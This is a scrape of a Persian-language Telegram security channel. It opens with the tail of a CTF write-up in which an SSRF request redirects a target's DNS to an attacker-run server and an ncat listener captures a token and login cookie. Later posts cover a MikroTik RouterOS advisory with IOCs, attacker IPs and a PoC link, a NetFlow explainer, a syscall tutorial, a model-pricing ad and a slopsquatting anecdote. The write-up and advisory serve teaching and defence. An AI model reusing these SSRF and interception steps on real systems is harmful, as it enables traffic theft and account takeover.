@S3cForge
https://t.me/ViperNull
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});
توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#
در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
Ncat: Connection from 178.62.61.49:50284.
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157
بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
`
و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.
https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/
@S3cForge
https://t.me/ViperNull
❤4👎1
Forwarded from امنیت سایبری | Cyber Security
مدل جدید Gemini 3.8 Flash از راه رسیده و بر اساس دادههای بنچمارک، عملاً با سنگینوزنترین و گرانترین غولهای بازار مثل Claude Opus 5 و GPT-5.6 Sol شاخبهشاخ شده؛ اونم با قیمتی که رقبا رو مات و مبهوت کرده.
شاهکار کدنویسی و تخصص؛ فراتر از یک مدل فلش.
توی مهندسی نرمافزار پیشرفته DeepSWE v1.1، این مدل امتیاز دیوانهوار ۷۳.۷ درصد رو ثبت کرده که تقریباً مماس با Claude Opus 5 با ۷۴.۰ درصد و بالاتر از GPT-5.6 Sol با ۷۲.۷ درصد قرار میگیره. ماجرا فقط به کدنویسی ختم نمیشه:
کارهای تخصصی و تحلیل: در حوزه تحلیل مالی با ۶۱.۴ درصد و در گردشکارهای حقوقی با ۱۰.۰ درصد، تمام رقبای حاضر در جدول از جمله غولهای Claude و GPT را شکست داده است.
مولتیمدیا و درک ویدیو: در تحلیل ویدیوهای طولانی (LVBench) به امتیاز ۸۷.۸ درصد رسیده و در استدلال روی چارتهای پیچیده با ۸۶.۲ درصد در صدر ایستاده است.
علوم زیستی و آزمایشگاهی: در تحقیقات بیولوژی با ۸۶.۲ درصد قدرتمندتر از تمامی گزینههای جدول ظاهر شده است.
برگ برنده اصلی Gemini 3.8 Flash جاییه که کارایی را کنار فاکتور هزینه میگذارید. گوگل تا ۳۱ دسامبر ۲۰۲۶ روی این مدل تخفیف چشمگیری گذاشته است:
ورودی: فقط ۰.۷۵ دلار به ازای هر ۱ میلیون توکن (قیمت عادی ۱.۵۰ دلار)؛ در مقایسه با ۵.۰۰ دلار Opus 5 و ۴.۰۰ دلار GPT-5.6 Sol!
خروجی: فقط ۳.۷۵ دلار به ازای هر ۱ میلیون توکن (قیمت عادی ۷.۵۰ دلار)؛ در حالی که برای Opus 5 باید ۲۵.۰۰ دلار و برای GPT-5.6 Sol باید ۲۰.۰۰ دلار بپردازید.
رسیدن به عملکرد پرچمدارها با حدود یکششم قیمت، Gemini 3.8 Flash رو رسماً به خوشقیمتترین غول هوش مصنوعی بازار تبدیل میکنه.
#AI
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ⚔️ Ethical Hacking ⚔️ (M.hosein)
🔴 NetFlow چیست؟
فناوریای برای جمعآوری اطلاعات درباره جریانهای ترافیکی شبکه است.
برای درک NetFlow، یک مثال ساده بزنیم.
فرض کنید اینترنت یک شرکت ناگهان بسیار کند شده است.
با استفاده از SNMP ممکن است متوجه شویم که یک Interface ترافیک بسیار زیادی دارد.
اما یک سؤال مهم باقی میماند:
🤔این ترافیک را چه سیستمی ایجاد کرده است؟
اینجاست که NetFlow اطلاعات بیشتری در اختیار ما قرار میدهد.
NetFlow میتواند به ما کمک کند بفهمیم:
• Source IP چه سیستمی بوده؟
• Destination IP چه بوده؟
• از چه Portاستفاده شده؟
• چه Protocolای استفاده شده؟
• چه مقدار داده منتقل شده؟
• ارتباط چه مدت ادامه داشته است؟
• چه تعداد Packet در این جریان وجود داشته است؟
به این اطلاعات معمولاً Flow Record گفته میشود.
🌐 Flow دقیقاً یعنی چه؟
در NetFlow معمولاً بهجای اینکه محتوای تکتک Packetها را ذخیره کنیم، درباره یک جریان ارتباطی اطلاعات جمعآوری میکنیم.
مثلاً ممکن است یک Flow مربوط به ارتباط یک سیستم داخلی با یک Server خارجی باشد.
🔍اطلاعاتی مانند IP مبدأ، IP مقصد، Portها، Protocol و حجم ترافیک میتوانند به ما کمک کنند بفهمیم این ارتباط چه ویژگیهایی داشته است.
اما یک نکته بسیار مهم:
✅درNetFlow معمولاً محتوای واقعی Packet را بررسی یا ذخیره نمیشود.
یعنی اگر یک سیستم مقدار زیادی داده ارسال کرده باشد، NetFlow میتواند اطلاعات مربوط به آن جریان را نشان دهد، اما لزوماً محتوای آن دادهها را به ما نشان نمیدهد.
برای بررسی محتوای Packetها، فناوریها و ابزارهای دیگری مانند Packet Capture مورد استفاده قرار میگیرند.
🔎 NetFlow چه کمکی به امنیت میکند؟
فرض کنید یک سیستم داخل شبکه در مدت کوتاهی حجم بسیار زیادی ترافیک به یک مقصد خارجی ایجاد کند.
❌این اتفاق بهتنهایی ثابت نمیکند که سیستم مورد حمله قرار گرفته یا اطلاعات سرقت شده است.
اما میتواند یک نشانه قابل بررسی باشد.
🔵تیم امنیت میتواند با استفاده از اطلاعات Flow بررسی کند:
• این سیستم متعلق به چه کاربری است؟
• مقصد خارجی چیست؟
• چه Portی استفاده شده؟
• حجم ترافیک چقدر بوده؟
• آیا این رفتار قبلاً هم اتفاق افتاده است؟
• آیا سیستمهای دیگری نیز رفتار مشابهی دارند؟
🟢به همین دلیل NetFlow میتواند در Network Monitoring، Troubleshooting و Security Monitoring کاربرد داشته باشد.
مارو به دوستاتون معرفی کنین.
🔹 Instagram: s.teymouri93
🔹 Telegram: @Sajjad_Teymouri
🔹https://www.youtube.com/@Sajjad_Teymouri
فناوریای برای جمعآوری اطلاعات درباره جریانهای ترافیکی شبکه است.
برای درک NetFlow، یک مثال ساده بزنیم.
فرض کنید اینترنت یک شرکت ناگهان بسیار کند شده است.
با استفاده از SNMP ممکن است متوجه شویم که یک Interface ترافیک بسیار زیادی دارد.
اما یک سؤال مهم باقی میماند:
🤔این ترافیک را چه سیستمی ایجاد کرده است؟
اینجاست که NetFlow اطلاعات بیشتری در اختیار ما قرار میدهد.
NetFlow میتواند به ما کمک کند بفهمیم:
• Source IP چه سیستمی بوده؟
• Destination IP چه بوده؟
• از چه Portاستفاده شده؟
• چه Protocolای استفاده شده؟
• چه مقدار داده منتقل شده؟
• ارتباط چه مدت ادامه داشته است؟
• چه تعداد Packet در این جریان وجود داشته است؟
به این اطلاعات معمولاً Flow Record گفته میشود.
🌐 Flow دقیقاً یعنی چه؟
در NetFlow معمولاً بهجای اینکه محتوای تکتک Packetها را ذخیره کنیم، درباره یک جریان ارتباطی اطلاعات جمعآوری میکنیم.
مثلاً ممکن است یک Flow مربوط به ارتباط یک سیستم داخلی با یک Server خارجی باشد.
🔍اطلاعاتی مانند IP مبدأ، IP مقصد، Portها، Protocol و حجم ترافیک میتوانند به ما کمک کنند بفهمیم این ارتباط چه ویژگیهایی داشته است.
اما یک نکته بسیار مهم:
✅درNetFlow معمولاً محتوای واقعی Packet را بررسی یا ذخیره نمیشود.
یعنی اگر یک سیستم مقدار زیادی داده ارسال کرده باشد، NetFlow میتواند اطلاعات مربوط به آن جریان را نشان دهد، اما لزوماً محتوای آن دادهها را به ما نشان نمیدهد.
برای بررسی محتوای Packetها، فناوریها و ابزارهای دیگری مانند Packet Capture مورد استفاده قرار میگیرند.
🔎 NetFlow چه کمکی به امنیت میکند؟
فرض کنید یک سیستم داخل شبکه در مدت کوتاهی حجم بسیار زیادی ترافیک به یک مقصد خارجی ایجاد کند.
❌این اتفاق بهتنهایی ثابت نمیکند که سیستم مورد حمله قرار گرفته یا اطلاعات سرقت شده است.
اما میتواند یک نشانه قابل بررسی باشد.
🔵تیم امنیت میتواند با استفاده از اطلاعات Flow بررسی کند:
• این سیستم متعلق به چه کاربری است؟
• مقصد خارجی چیست؟
• چه Portی استفاده شده؟
• حجم ترافیک چقدر بوده؟
• آیا این رفتار قبلاً هم اتفاق افتاده است؟
• آیا سیستمهای دیگری نیز رفتار مشابهی دارند؟
🟢به همین دلیل NetFlow میتواند در Network Monitoring، Troubleshooting و Security Monitoring کاربرد داشته باشد.
مارو به دوستاتون معرفی کنین.
🔹 Instagram: s.teymouri93
🔹 Telegram: @Sajjad_Teymouri
🔹https://www.youtube.com/@Sajjad_Teymouri
خب سلام چطورین؟
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک Open Resource در یک فرآیند عمل میکنه و یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD میتونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سختافزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:
خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
اجراش کنین.
امیدوارم لذت برده باشین.
@S3cForge
https://t.me/ViperNull
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک Open Resource در یک فرآیند عمل میکنه و یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD میتونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سختافزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main() {
int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);
if (fd == -1) {
printf("err: %s\n", strerror(errno));
return 1;
}
printf("success! FD: %d\n", fd);
close(fd);
printf("closed.\n");
return 0;
}
اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:
section .data
msg db 'Hello, World!', 0x0A
len equ $ - msg
section .text
global _start
_start:
; Syscall write
mov rax, 1
mov rdi, 1
mov rsi, msg
mov rdx, len
syscall
mov rax, 60
mov rdi, 0
syscall
خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello
اجراش کنین.
امیدوارم لذت برده باشین.
@S3cForge
https://t.me/ViperNull
Telegram
ViperNułł
ViperNull | Exploring the world of network security. Dive into cybersecurity with in-depth content on penetration testing, defensive strategies, vulnerability analysis, and powerful security tools.
Pv ; @Cintaxed
Pv ; @Cintaxed
❤4
Forwarded from NSEs (8)
NSEs
Photo
❗️تیم CERT Polska شش اسیب پذیری روی میکروتیک پیدا کرده با دوتا از این اسیب پذیری ها بدون احراز هویت فقط با داشتن دسترسی به پورت SSH کنترل کامل تجهیزات Mikrotik RouterOS رو به دست گرفت و سطح دسترسی خودمون رو به Full admin برسونیم،ادمین ها و مهندس های شبکه به شدت جدی بگیرنش چون به شدت در حال بهره برداری هستش .(CVE-2026-67276 / CVE-2026-86060)
اقدامات فوری هم برای ایمن سازی :
1-به روز رسانی سریع به یکی از نسخه ها امن شده (
2-دسترسی به سرویس های SSH، WebFig (WWW) و Bandwidth-test تا زمانی که به روزرسانی بکنید از سمت اینترنت مسدود کنید
3-IOCs لاگ هارو برسی کنید دنبال خطاهای مشکوک باشید
login failure for user -2 from <IP> via ssh
user <name> added by ssh:-2@<IP>
بررسی وضعیت Flagged: اجرای دستور
ایپی مهاجم هایی که تا الان دیتکت شده :
82.192.72.4
103.102.31.18
POC :https://github.com/dinosn/mikrotrick-poc
فعلا برسی نکردم که ایا فقط یه اسیب پذیری هستش یا Chain شده تا دسترسی full admin بگیره
Sources
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
https://cybersecuritynews.com/mikrotik-routeros-vulnerability/
https://thehackernews.com/2026/09/attackers-hijack-mikrotik-routers.html
https://github.com/dinosn/mikrotrick-poc
➖➖➖➖➖
CHANNEL
اقدامات فوری هم برای ایمن سازی :
1-به روز رسانی سریع به یکی از نسخه ها امن شده (
7.25beta3 | 7.24.2 | 7.23.4 | 6.49.21)2-دسترسی به سرویس های SSH، WebFig (WWW) و Bandwidth-test تا زمانی که به روزرسانی بکنید از سمت اینترنت مسدود کنید
3-IOCs لاگ هارو برسی کنید دنبال خطاهای مشکوک باشید
login failure for user -2 from <IP> via ssh
user <name> added by ssh:-2@<IP>
بررسی وضعیت Flagged: اجرای دستور
/system/device-mode/print در ترمینال؛ مشاهده مارکر Flagged نشاندهنده نفوذ قبلی و تغییر کانفیگ توسط سیستمعامل است. (توجه: عدم وجود این مارکر به معنی امن بودن مطلق نیست!)ایپی مهاجم هایی که تا الان دیتکت شده :
82.192.72.4
103.102.31.18
POC :https://github.com/dinosn/mikrotrick-poc
فعلا برسی نکردم که ایا فقط یه اسیب پذیری هستش یا Chain شده تا دسترسی full admin بگیره
Sources
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
https://cybersecuritynews.com/mikrotik-routeros-vulnerability/
https://thehackernews.com/2026/09/attackers-hijack-mikrotik-routers.html
https://github.com/dinosn/mikrotrick-poc
➖➖➖➖➖
CHANNEL
GitHub
GitHub - dinosn/mikrotrick-poc: CVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC
CVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC - dinosn/mikrotrick-poc
❤3
Forwarded from Saeed Kazemi
ه ثانیه دیر جنبیده بودم، جای نوشتن این پست داشتیم یه فاجعه امنیتی ناشی از AI رو جمع میکردیم.
چند وقت پیش داشتم کدی رو که AI نوشته بود، قبل از دپلوی review میکردم. توی importها یه پکیج به چشمم خورد که یهجوری بود.
همه چی تقریبا منطقی به نظر میرسید. اسمش دقیقا همون الگوی سایر پکیجها رو داشت اما تا حالا جایی ندیده بودمش.
به تیم گفتم دست نگه دارن، کار روی پروداکشن نره. برگشتم روی استیج تا از ریشه بررسیش کنم.
مدل AI فقط از روی توهم، یه اسم قانعکننده برای خودش ساخته بود؛ دقیقا مثل وقتی که با همون اطمینان یه فکت یا آمار جعلی تحویل میده. به این پدیده میگن هالوسینیتکردن. AI چیزی رو با اطمینان کامل تولید میکنه که یا نادرسته یا اصلا وجود نداره.
پکیج رو سرچ کردم و موضوع عجیبتر شد. فهمیدم قضیه از یه اسم ساختگی خیلی فراتره...
همون اسم، چند ماه قبل توسط یه ناشناس ثبت شده بود. README و توضیح نداشت. فقط یه پکیج مخرب که منتظر بود من، یا هر کس دیگهای توی یه محیط فینتک بدون بررسی accept بزنه و نصبش کنه.
اگه شک نکرده بودم، الان داشتم با یه پروسهی کاملا متفاوت سر و کله میزدم. کنار تیم امنیت، دنبال این میگشتیم که مهاجم تا کجا نفوذ کرده، چه سرویسهایی رو تحت تاثیر قرار داده و چی از دیتای حساسمون بیرون رفته.
با یه مقدار تحقیق متوجه شدم این یه اتفاق تصادفی نیست. این اسم های ساختی الگو دارن. وقتی AI هالوسینیت میکنه، معمولا اسمهای تکراری میسازه.
و دقیقا همینجا مهاجم وارد میشه. لازم نیست اسم پکیجها رو حدس بزنه. کافیه خروجی مدلهای AI رو زیر نظر بگیره، ببینه کدوم اسم جعلی بیشتر تکرار میشه و همون اسم رو زودتر از همه ثبت کنه. بعدش کافیه داخل اون پکیج، کد خودش رو بنویسه.
دقیقا همون چیزی که من داشتم.
به این حمله میگن Slopsquatting. نسبتا جدیده و از محصولات عصر AIه 😂
تکاملیافتهی typosquatting قدیمیه، فقط این بار بهجای اشتباه تایپی کاربر، از اشتباه هوش مصنوعی سواستفاده میکنن.
یه نمونهی خیلی معروف هم داره. پکیج جعلی به اسم "huggingface-cli" رو یکی ثبت کرد. فقط چون AI مدام اسمش رو پیشنهاد میداد. بیش از 30 هزار بار دانلود شد.
نکتهای که این حمله رو خطرناکتر از یه باگ معمولی میکنه اینه که توی کد ریویو دنبال باگ منطقی میگردیم، نه دنبال اینکه اسم پکیج import شده واقعا وجود داره یا نه. اعتماد به AI، دقیقا همون نقطهکوریه که این حمله ازش سواستفاده میکنه.
چند وقت پیش داشتم کدی رو که AI نوشته بود، قبل از دپلوی review میکردم. توی importها یه پکیج به چشمم خورد که یهجوری بود.
همه چی تقریبا منطقی به نظر میرسید. اسمش دقیقا همون الگوی سایر پکیجها رو داشت اما تا حالا جایی ندیده بودمش.
به تیم گفتم دست نگه دارن، کار روی پروداکشن نره. برگشتم روی استیج تا از ریشه بررسیش کنم.
مدل AI فقط از روی توهم، یه اسم قانعکننده برای خودش ساخته بود؛ دقیقا مثل وقتی که با همون اطمینان یه فکت یا آمار جعلی تحویل میده. به این پدیده میگن هالوسینیتکردن. AI چیزی رو با اطمینان کامل تولید میکنه که یا نادرسته یا اصلا وجود نداره.
پکیج رو سرچ کردم و موضوع عجیبتر شد. فهمیدم قضیه از یه اسم ساختگی خیلی فراتره...
همون اسم، چند ماه قبل توسط یه ناشناس ثبت شده بود. README و توضیح نداشت. فقط یه پکیج مخرب که منتظر بود من، یا هر کس دیگهای توی یه محیط فینتک بدون بررسی accept بزنه و نصبش کنه.
اگه شک نکرده بودم، الان داشتم با یه پروسهی کاملا متفاوت سر و کله میزدم. کنار تیم امنیت، دنبال این میگشتیم که مهاجم تا کجا نفوذ کرده، چه سرویسهایی رو تحت تاثیر قرار داده و چی از دیتای حساسمون بیرون رفته.
با یه مقدار تحقیق متوجه شدم این یه اتفاق تصادفی نیست. این اسم های ساختی الگو دارن. وقتی AI هالوسینیت میکنه، معمولا اسمهای تکراری میسازه.
و دقیقا همینجا مهاجم وارد میشه. لازم نیست اسم پکیجها رو حدس بزنه. کافیه خروجی مدلهای AI رو زیر نظر بگیره، ببینه کدوم اسم جعلی بیشتر تکرار میشه و همون اسم رو زودتر از همه ثبت کنه. بعدش کافیه داخل اون پکیج، کد خودش رو بنویسه.
دقیقا همون چیزی که من داشتم.
به این حمله میگن Slopsquatting. نسبتا جدیده و از محصولات عصر AIه 😂
تکاملیافتهی typosquatting قدیمیه، فقط این بار بهجای اشتباه تایپی کاربر، از اشتباه هوش مصنوعی سواستفاده میکنن.
یه نمونهی خیلی معروف هم داره. پکیج جعلی به اسم "huggingface-cli" رو یکی ثبت کرد. فقط چون AI مدام اسمش رو پیشنهاد میداد. بیش از 30 هزار بار دانلود شد.
نکتهای که این حمله رو خطرناکتر از یه باگ معمولی میکنه اینه که توی کد ریویو دنبال باگ منطقی میگردیم، نه دنبال اینکه اسم پکیج import شده واقعا وجود داره یا نه. اعتماد به AI، دقیقا همون نقطهکوریه که این حمله ازش سواستفاده میکنه.
👍5